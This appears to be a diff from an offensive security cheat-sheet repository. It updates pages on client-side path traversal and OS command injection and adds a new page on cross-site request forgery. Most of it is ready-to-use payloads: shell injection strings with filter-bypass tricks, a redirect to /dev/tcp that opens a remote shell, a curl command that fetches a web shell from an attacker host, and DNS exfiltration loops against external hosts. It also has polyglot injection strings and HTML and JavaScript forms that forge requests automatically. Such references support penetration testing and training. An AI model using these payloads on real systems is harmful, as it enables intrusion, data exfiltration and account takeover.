* [CSPT to CSRF](#cspt-to-xss)
* [Labs](#labs)
* [References](#references)
## Tools
* [doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - CSPT is an open-source Burp Suite extension to find and exploit Client-Side Path Traversal.
## Methodology
### CSPT to XSS
![cspt-query-param](https://matanber.com/images/blog/cspt-query-param.png)
A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject `../` sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is referred to as a CSPT vulnerability.
**Example**:
* The page `https://example.com/static/cms/news.html` takes a `newsitemid` as parameter
* Then fetch the content of `https://example.com/newitems/<newsitemid>`
* A text injection was also discovered in `https://example.com/pricing/default.js` via the `cb` parameter
* Final payload is `https://example.com/static/cms/news.html?newsitemid=../pricing/default.js?cb=alert(document.domain)//`
### CSPT to CSRF
A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.
| | CSRF | CSPT2CSRF |
| ------------------------------------------- | ----------------- | ------------------ |
| POST CSRF ? | :white_check_mark: | :white_check_mark: |
| Can control the body ? | :white_check_mark: | :x: |
| Can work with anti-CSRF token ? | :x: | :white_check_mark: |
| Can work with Samesite=Lax ? | :x: | :white_check_mark: |
| GET / PATCH / PUT / DELETE CSRF ? | :x: | :white_check_mark: |
| 1-click CSRF ? | :x: | :white_check_mark: |
| Does impact depend on source and on sinks ? | :x: | :white_check_mark: |
Real-World Scenarios:
* 1-click CSPT2CSRF in Rocket.Chat
* CVE-2023-45316: CSPT2CSRF with a POST sink in Mattermost : `/<team>/channels/channelname?telem_action=under_control&forceRHSOpen&telem_run_id=../../../../../../api/v4/caches/invalidate`
* CVE-2023-6458: CSPT2CSRF with a GET sink in Mattermost
* [Client Side Path Manipulation - erasec.be](https://www.erasec.be/blog/client-side-path-manipulation/): CSPT2CSRF `https://example.com/signup/invite?email=foo%40bar.com&inviteCode=123456789/../../../cards/123e4567-e89b-42d3-a456-556642440000/cancel?a=`
* [CVE-2023-5123 : CSPT2CSRF in Grafanas JSON API Plugin](https://medium.com/@maxime.escourbiac/grafana-cve-2023-5123-write-up-74e1be7ef652)
## Labs
* [doyensec/CSPTPlayground](https://github.com/doyensec/CSPTPlayground) - CSPTPlayground is an open-source playground to find and exploit Client-Side Path Traversal (CSPT).
* [Root Me - CSPT - The Ruler](https://www.root-me.org/en/Challenges/Web-Client/CSPT-The-Ruler)
## References
* [Exploiting Client-Side Path Traversal to Perform Cross-Site Request Forgery - Introducing CSPT2CSRF - Maxence Schmitt - 02 Jul 2024](https://blog.doyensec.com/2024/07/02/cspt2csrf.html)
* [Exploiting Client-Side Path Traversal - CSRF is dead, long live CSRF - Whitepaper - Maxence Schmitt - 02 Jul 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_Whitepaper.pdf)
* [Exploiting Client-Side Path Traversal - CSRF is Dead, Long Live CSRF - OWASP Global AppSec 2024 - Maxence Schmitt - June 24 2024](https://www.doyensec.com/resources/Doyensec_CSPT2CSRF_OWASP_Appsec_Lisbon.pdf)
* [Leaking Jupyter instance auth token chaining CVE-2023-39968, CVE-2024-22421 and a chromium bug - Davwwwx - 30-08-2023](https://blog.xss.am/2023/08/cve-2023-39968-jupyter-token-leak/)
* [On-site request forgery - Dafydd Stuttard - 03 May 2007](https://portswigger.net/blog/on-site-request-forgery)
* [Bypassing WAFs to Exploit CSPT Using Encoding Levels - Matan Berson - 2024-05-10](https://matanber.com/blog/cspt-levels)
* [Automating Client-Side Path Traversals Discovery - Vitor Falcao - October 3, 2024](https://vitorfalcao.com/posts/automating-cspt-discovery/)
* [CSPT the Eval Villain Way! - Dennis Goodlett - December 3, 2024](https://blog.doyensec.com/2024/12/03/cspt-with-eval-villain.html)
* [Bypassing File Upload Restrictions To Exploit Client-Side Path Traversal - Maxence Schmitt - January 9, 2025](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)

View File

@@ -5,36 +5,66 @@
## Summary ## Summary
* [Tools](#tools) * [Tools](#tools)
* [Exploits](#exploits) * [Methodology](#methodology)
* [Basic commands](#basic-commands) * [Basic Commands](#basic-commands)
* [Chaining commands](#chaining-commands) * [Chaining Commands](#chaining-commands)
* [Inside a command](#inside-a-command) * [Argument Injection](#argument-injection)
* [Inside A Command](#inside-a-command)
* [Filter Bypasses](#filter-bypasses) * [Filter Bypasses](#filter-bypasses)
* [Bypass without space](#bypass-without-space) * [Bypass Without Space](#bypass-without-space)
* [Bypass with a line return](#bypass-with-a-line-return) * [Bypass With A Line Return](#bypass-with-a-line-return)
* [Bypass characters filter via hex encoding](#bypass-characters-filter-via-hex-encoding) * [Bypass With Backslash Newline](#bypass-with-backslash-newline)
* [Bypass blacklisted words](#bypass-blacklisted-words) * [Bypass With Tilde Expansion](#bypass-with-tilde-expansion)
* [Bypass with single quote](#bypass-with-single-quote) * [Bypass With Brace Expansion](#bypass-with-brace-expansion)
* [Bypass with double quote](#bypass-with-double-quote) * [Bypass Characters Filter](#bypass-characters-filter)
* [Bypass with backslash and slash](#bypass-with-backslash-and-slash) * [Bypass Characters Filter Via Hex Encoding](#bypass-characters-filter-via-hex-encoding)
* [Bypass with $@](#bypass-with-) * [Bypass With Single Quote](#bypass-with-single-quote)
* [Bypass with $()](#bypass-with--1) * [Bypass With Double Quote](#bypass-with-double-quote)
* [Bypass with variable expansion](#bypass-with-variable-expansion) * [Bypass With Backticks](#bypass-with-backticks)
* [Bypass with wildcards](#bypass-with-wildcards) * [Bypass With Backslash And Slash](#bypass-with-backslash-and-slash)
* [Challenge](#challenge) * [Bypass With $@](#bypass-with-)
* [Time based data exfiltration](#time-based-data-exfiltration) * [Bypass With $()](#bypass-with--1)
* [DNS based data exfiltration](#dns-based-data-exfiltration) * [Bypass With Variable Expansion](#bypass-with-variable-expansion)
* [Polyglot command injection](#polyglot-command-injection) * [Bypass With Wildcards](#bypass-with-wildcards)
* [Data Exfiltration](#data-exfiltration)
* [Time Based Data Exfiltration](#time-based-data-exfiltration)
* [Dns Based Data Exfiltration](#dns-based-data-exfiltration)
* [Polyglot Command Injection](#polyglot-command-injection)
* [Tricks](#tricks)
* [Backgrounding Long Running Commands](#backgrounding-long-running-commands)
* [Remove Arguments After The Injection](#remove-arguments-after-the-injection)
* [Labs](#labs)
* [Challenge](#challenge)
* [References](#references) * [References](#references)
## Tools ## Tools
* [commix - Automated All-in-One OS command injection and exploitation tool](https://github.com/commixproject/commix) * [commixproject/commix](https://github.com/commixproject/commix) - Automated All-in-One OS command injection and exploitation tool
* [projectdiscovery/interactsh](https://github.com/projectdiscovery/interactsh) - An OOB interaction gathering server and client library
## Exploits ## Methodology
### Basic commands Command injection, also known as shell injection, is a type of attack in which the attacker can execute arbitrary commands on the host operating system via a vulnerable application. This vulnerability can exist when an application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell. In this context, the system shell is a command-line interface that processes commands to be executed, typically on a Unix or Linux system.
The danger of command injection is that it can allow an attacker to execute any command on the system, potentially leading to full system compromise.
**Example of Command Injection with PHP**:
Suppose you have a PHP script that takes a user input to ping a specified IP address or domain:
```php
<?php
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
?>
```
In the above code, the PHP script uses the `system()` function to execute the `ping` command with the IP address or domain provided by the user through the `ip` GET parameter.
If an attacker provides input like `8.8.8.8; cat /etc/passwd`, the actual command that gets executed would be: `ping -c 4 8.8.8.8; cat /etc/passwd`.
This means the system would first `ping 8.8.8.8` and then execute the `cat /etc/passwd` command, which would display the contents of the `/etc/passwd` file, potentially revealing sensitive information.
### Basic Commands
Execute the command and voila :p Execute the command and voila :p
@@ -44,93 +74,191 @@ root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh sys:x:3:3:sys:/dev:/bin/sh
...
``` ```
### Chaining commands ### Chaining Commands
In many command-line interfaces, especially Unix-like systems, there are several characters that can be used to chain or manipulate commands.
* `;` (Semicolon): Allows you to execute multiple commands sequentially.
* `&&` (AND): Execute the second command only if the first command succeeds (returns a zero exit status).
* `||` (OR): Execute the second command only if the first command fails (returns a non-zero exit status).
* `&` (Background): Execute the command in the background, allowing the user to continue using the shell.
* `|` (Pipe): Takes the output of the first command and uses it as the input for the second command.
```powershell ```powershell
original_cmd_by_server; ls command1; command2 # Execute command1 and then command2
original_cmd_by_server && ls command1 && command2 # Execute command2 only if command1 succeeds
original_cmd_by_server | ls command1 || command2 # Execute command2 only if command1 fails
original_cmd_by_server || ls # Only if the first cmd fail command1 & command2 # Execute command1 in the background
command1 | command2 # Pipe the output of command1 into command2
``` ```
### Inside a command ### Argument Injection
```bash Gain a command execution when you can only append arguments to an existing command.
original_cmd_by_server `cat /etc/passwd` Use this website [Argument Injection Vectors - Sonar](https://sonarsource.github.io/argument-injection-vectors/) to find the argument to inject to gain command execution.
original_cmd_by_server $(cat /etc/passwd)
* Chrome
```ps1
chrome '--gpu-launcher="id>/tmp/foo"'
```
* SSH
```ps1
ssh '-oProxyCommand="touch /tmp/foo"' foo@foo
```
* psql
```ps1
psql -o'|id>/tmp/foo'
```
Argument injection can be abused using the [worstfit](https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/) technique.
In the following example, the payload ` --use-askpass=calc ` is using **fullwidth double quotes** (U+FF02) instead of the **regular double quotes** (U+0022)
```php
$url = "https://example.tld/" . $_GET['path'] . ".txt";
system("wget.exe -q " . escapeshellarg($url));
``` ```
Sometimes, direct command execution from the injection might not be possible, but you may be able to redirect the flow into a specific file, enabling you to deploy a web shell.
* curl
```ps1
# -o, --output <file> Write to file instead of stdout
curl http://evil.attacker.com/ -o webshell.php
```
### Inside A Command
* Command injection using backticks.
```bash
original_cmd_by_server `cat /etc/passwd`
```
* Command injection using substitution
```bash
original_cmd_by_server $(cat /etc/passwd)
```
## Filter Bypasses ## Filter Bypasses
### Bypass without space ### Bypass Without Space
Works on Linux only. * `$IFS` is a special shell variable called the Internal Field Separator. By default, in many shells, it contains whitespace characters (space, tab, newline). When used in a command, the shell will interpret `$IFS` as a space. `$IFS` does not directly work as a separator in commands like `ls`, `wget`; use `${IFS}` instead.
```powershell
cat${IFS}/etc/passwd
ls${IFS}-la
```
* In some shells, brace expansion generates arbitrary strings. When executed, the shell will treat the items inside the braces as separate commands or arguments.
```powershell
{cat,/etc/passwd}
```
* Input redirection. The < character tells the shell to read the contents of the file specified.
```powershell
cat</etc/passwd
sh</dev/tcp/127.0.0.1/4242
```
* ANSI-C Quoting
```powershell
X=$'uname\x20-a'&&$X
```
* The tab character can sometimes be used as an alternative to spaces. In ASCII, the tab character is represented by the hexadecimal value `09`.
```powershell
;ls%09-al%09/home
```
* In Windows, `%VARIABLE:~start,length%` is a syntax used for substring operations on environment variables.
```powershell
ping%CommonProgramFiles:~10,-18%127.0.0.1
ping%PROGRAMFILES:~10,-5%127.0.0.1
```
### Bypass With A Line Return
Commands can also be run in sequence with newlines
```bash
original_cmd_by_server
ls
```
### Bypass With Backslash Newline
* Commands can be broken into parts by using backslash followed by a newline
```powershell
$ cat /et\
c/pa\
sswd
```
* URL encoded form would look like this:
```powershell
cat%20/et%5C%0Ac/pa%5C%0Asswd
```
### Bypass With Tilde Expansion
```powershell ```powershell
swissky@crashlab:~/Www$ cat</etc/passwd echo ~+
echo ~-
```
### Bypass With Brace Expansion
```powershell
{,ip,a}
{,ifconfig}
{,ifconfig,eth0}
{l,-lh}s
{,echo,#test}
{,$"whoami",}
{,/?s?/?i?/c?t,/e??/p??s??,}
```
### Bypass Characters Filter
Commands execution without backslash and slash - linux bash
```powershell
swissky@crashlab:~$ echo ${HOME:0:1}
/
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ {cat,/etc/passwd} swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab:~$ cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab:~$ echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd
RCE
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
swissky@crashlab:~$ X=$'uname\x20-a'&&$X
Linux crashlab 4.4.X-XX-generic #72-Ubuntu
swissky@crashlab:~$ sh</dev/tcp/127.0.0.1/4242
``` ```
Commands execution without spaces, $ or { } - Linux (Bash only) ### Bypass Characters Filter Via Hex Encoding
```powershell
IFS=,;`cat<<<uname,-a`
```
Tabs work as separators in web apps where spaces are removed.
```powershell
;ls%09-al%09/home
drwxr-xr-x 4 root root 4096 Jan 10 13:34 .
drwxr-xr-x 18 root root 4096 Jan 10 13:33 ..
drwx------ 2 root root 16384 Jan 10 13:31 lost+found
drwxr-xr-x 4 test test 4096 Jan 13 08:30 test
```
Works on Windows only.
```powershell
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```
### Bypass with a line return
```powershell
something%0Acat%20/etc/passwd
```
You can also write files.
```powershell
;cat>/tmp/hi<<EOF%0ahello%0aEOF
;cat</tmp/hi
hello
```
### Bypass characters filter via hex encoding
Linux
```powershell ```powershell
swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64" swissky@crashlab:~$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
@@ -158,66 +286,53 @@ swissky@crashlab:~$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash root:x:0:0:root:/root:/bin/bash
``` ```
### Bypass characters filter ### Bypass With Single Quote
Commands execution without backslash and slash - linux bash
```powershell
swissky@crashlab:~$ echo ${HOME:0:1}
/
swissky@crashlab:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
swissky@crashlab:~$ echo . | tr '!-0' '"-1'
/
swissky@crashlab:~$ tr '!-0' '"-1' <<< .
/
swissky@crashlab:~$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash
```
### Bypass Blacklisted words
#### Bypass with single quote
```powershell ```powershell
w'h'o'am'i w'h'o'am'i
wh''oami
'w'hoami
``` ```
#### Bypass with double quote ### Bypass With Double Quote
```powershell ```powershell
w"h"o"am"i w"h"o"am"i
wh""oami
"wh"oami
``` ```
#### Bypass with backslash and slash ### Bypass With Backticks
```powershell
wh``oami
```
### Bypass With Backslash and Slash
```powershell ```powershell
w\ho\am\i w\ho\am\i
/\b\i\n/////s\h /\b\i\n/////s\h
``` ```
#### Bypass with $@ ### Bypass With $@
`$0`: Refers to the name of the script if it's being run as a script. If you're in an interactive shell session, `$0` will typically give the name of the shell.
```powershell ```powershell
who$@ami who$@ami
echo $0
-> /usr/bin/zsh
echo whoami|$0 echo whoami|$0
``` ```
### Bypass with $() ### Bypass With $()
```powershell ```powershell
who$()ami who$()ami
who$(echo am)i who$(echo am)i
who`echo am`i who`echo am`i
``` ```
#### Bypass with variable expansion ### Bypass With Variable Expansion
```powershell ```powershell
/???/??t /???/p??s?? /???/??t /???/p??s??
@@ -227,14 +342,108 @@ cat ${test//hhh\/hm/}
cat ${test//hh??hm/} cat ${test//hh??hm/}
``` ```
#### Bypass with wildcards ### Bypass With Wildcards
```powershell ```powershell
powershell C:\*\*2\n??e*d.*? # notepad powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc @^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
``` ```
## Challenge ## Data Exfiltration
### Time Based Data Exfiltration
Extracting data char by char and detect the correct value based on the delay.
* Correct value: wait 5 seconds
```powershell
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
```
* Incorrect value: no delay
```powershell
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### Dns Based Data Exfiltration
Based on the tool from [HoLyVieR/dnsbin](https://github.com/HoLyVieR/dnsbin), also hosted at [dnsbin.zhack.ca](http://dnsbin.zhack.ca/)
1. Go to [dnsbin.zhack.ca](http://dnsbin.zhack.ca)
2. Execute a simple 'ls'
```powershell
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
Online tools to check for DNS based data exfiltration:
* [dnsbin.zhack.ca](http://dnsbin.zhack.ca)
* [app.interactsh.com](https://app.interactsh.com)
* [portswigger.net](https://portswigger.net/burp/documentation/collaborator)
## Polyglot Command Injection
A polyglot is a piece of code that is valid and executable in multiple programming languages or environments simultaneously. When we talk about "polyglot command injection," we're referring to an injection payload that can be executed in multiple contexts or environments.
* Example 1:
```powershell
Payload: 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
# Context inside commands with single and double quote:
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
```
* Example 2:
```powershell
Payload: /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
# Context inside commands with single and double quote:
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
```
## Tricks
### Backgrounding Long Running Commands
In some instances, you might have a long running command that gets killed by the process injecting it timing out.
Using `nohup`, you can keep the process running after the parent process exits.
```bash
nohup sleep 120 > /dev/null &
```
### Remove Arguments After The Injection
In Unix-like command-line interfaces, the `--` symbol is used to signify the end of command options. After `--`, all arguments are treated as filenames and arguments, and not as options.
## Labs
* [PortSwigger - OS command injection, simple case](https://portswigger.net/web-security/os-command-injection/lab-simple)
* [PortSwigger - Blind OS command injection with time delays](https://portswigger.net/web-security/os-command-injection/lab-blind-time-delays)
* [PortSwigger - Blind OS command injection with output redirection](https://portswigger.net/web-security/os-command-injection/lab-blind-output-redirection)
* [PortSwigger - Blind OS command injection with out-of-band interaction](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band)
* [PortSwigger - Blind OS command injection with out-of-band data exfiltration](https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration)
* [Root Me - PHP - Command injection](https://www.root-me.org/en/Challenges/Web-Server/PHP-Command-injection)
* [Root Me - Command injection - Filter bypass](https://www.root-me.org/en/Challenges/Web-Server/Command-injection-Filter-bypass)
* [Root Me - PHP - assert()](https://www.root-me.org/en/Challenges/Web-Server/PHP-assert)
* [Root Me - PHP - preg_replace()](https://www.root-me.org/en/Challenges/Web-Server/PHP-preg_replace)
### Challenge
Challenge based on the previous tricks, what does the following command do: Challenge based on the previous tricks, what does the following command do:
@@ -242,64 +451,17 @@ Challenge based on the previous tricks, what does the following command do:
g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/} g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
``` ```
## Time based data exfiltration **NOTE**: The command is safe to run, but you should not trust me.
Extracting data : char by char
```powershell
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlab:~$ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
## DNS based data exfiltration
Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca
```powershell
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
```powershell
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
Online tools to check for DNS based data exfiltration:
- dnsbin.zhack.ca
- pingb.in
## Polyglot command injection
```bash
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
e.g:
echo 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo '1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
echo "1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
```
```bash
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
e.g:
echo 1/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
echo "YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/"
echo 'YOURCMD/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/'
```
## References ## References
* [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/) * [Argument Injection and Getting Past Shellwords.escape - Etienne Stalmans - November 24, 2019](https://staaldraad.github.io/post/2019-11-24-argument-injection/)
* [Bug Bounty Survey - Windows RCE spaceless](https://twitter.com/bugbsurveys/status/860102244171227136) * [Argument Injection Vectors - SonarSource - February 21, 2023](https://sonarsource.github.io/argument-injection-vectors/)
* [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628) * [Back to the Future: Unix Wildcards Gone Wild - Leon Juranic - June 25, 2014](https://www.exploit-db.com/papers/33930)
* [#bash #obfuscation by string manipulation - Malwrologist, @DissectMalware](https://twitter.com/DissectMalware/status/1025604382644232192) * [Bash Obfuscation by String Manipulation - Malwrologist, @DissectMalware - August 4, 2018](https://twitter.com/DissectMalware/status/1025604382644232192)
* [Bug Bounty Survey - Windows RCE Spaceless - Bug Bounties Survey - May 4, 2017](https://web.archive.org/web/20180808181450/https://twitter.com/bugbsurveys/status/860102244171227136)
* [No PHP, No Spaces, No $, No {}, Bash Only - Sven Morgenroth - August 9, 2017](https://twitter.com/asdizzle_/status/895244943526170628)
* [OS Command Injection - PortSwigger - 2024](https://portswigger.net/web-security/os-command-injection)
* [SECURITY CAFÉ - Exploiting Timed-Based RCE - Pobereznicenco Dan - February 28, 2017](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
* [TL;DR: How to Exploit/Bypass/Use PHP escapeshellarg/escapeshellcmd Functions - kacperszurek - April 25, 2018](https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md)
* [WorstFit: Unveiling Hidden Transformers in Windows ANSI! - Orange Tsai - January 10, 2025](https://blog.orange.tw/posts/2025-01-worstfit-unveiling-hidden-transformers-in-windows-ansi/)

View File

Before

Width:  |  Height:  |  Size: 407 KiB

After

Width:  |  Height:  |  Size: 407 KiB

View File

@@ -0,0 +1,162 @@
# Cross-Site Request Forgery
> Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [HTML GET - Requiring User Interaction](#html-get---requiring-user-interaction)
* [HTML GET - No User Interaction](#html-get---no-user-interaction)
* [HTML POST - Requiring User Interaction](#html-post---requiring-user-interaction)
* [HTML POST - AutoSubmit - No User Interaction](#html-post---autosubmit---no-user-interaction)
* [HTML POST - multipart/form-data With File Upload - Requiring User Interaction](#html-post---multipartform-data-with-file-upload---requiring-user-interaction)
* [JSON GET - Simple Request](#json-get---simple-request)
* [JSON POST - Simple Request](#json-post---simple-request)
* [JSON POST - Complex Request](#json-post---complex-request)
* [Labs](#labs)
* [References](#references)
## Tools
* [0xInfection/XSRFProbe](https://github.com/0xInfection/XSRFProbe) - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.
## Methodology
![CSRF_cheatsheet](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Cross-Site%20Request%20Forgery/Images/CSRF-CheatSheet.png)
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
### HTML GET - Requiring User Interaction
```html
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
```
### HTML GET - No User Interaction
```html
<img src="http://www.example.com/api/setusername?username=CSRFd">
```
### HTML POST - Requiring User Interaction
```html
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
```
### HTML POST - AutoSubmit - No User Interaction
```html
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
```
### HTML POST - multipart/form-data With File Upload - Requiring User Interaction
```html
<script>
function launch(){
const dT = new DataTransfer();
const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
dT.items.add( file );
document.xss[0].files = dT.files;
document.xss.submit()
}
</script>
<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
<input type="submit" name="" value="" size="0" />
</form>
<button value="button" onclick="launch()">Submit Request</button>
```
### JSON GET - Simple Request
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
```
### JSON POST - Simple Request
With XHR :
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>
```
With autosubmit send form, which bypasses certain browser protections such as the Standard option of [Enhanced Tracking Protection](https://support.mozilla.org/en-US/kb/enhanced-tracking-protection-firefox-desktop?as=u&utm_source=inproduct#w_standard-enhanced-tracking-protection) in Firefox browser :
```html
<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
// this input will send : {"role":admin,"other":"="}
<input type="hidden" name='{"role":admin, "other":"' value='"}' />
</form>
<script>
document.getElementById("CSRF_POC").submit();
</script>
```
### JSON POST - Complex Request
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
```
## Labs
* [PortSwigger - CSRF vulnerability with no defenses](https://portswigger.net/web-security/csrf/lab-no-defenses)
* [PortSwigger - CSRF where token validation depends on request method](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method)
* [PortSwigger - CSRF where token validation depends on token being present](https://portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present)
* [PortSwigger - CSRF where token is not tied to user session](https://portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session)
* [PortSwigger - CSRF where token is tied to non-session cookie](https://portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie)
* [PortSwigger - CSRF where token is duplicated in cookie](https://portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie)
* [PortSwigger - CSRF where Referer validation depends on header being present](https://portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present)
* [PortSwigger - CSRF with broken Referer validation](https://portswigger.net/web-security/csrf/lab-referer-validation-broken)
## References
* [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
* [Cross-Site Request Forgery (CSRF) - OWASP - Apr 19, 2024](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
* [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton - July 26, 2015](https://whitton.io/articles/messenger-site-wide-csrf/)
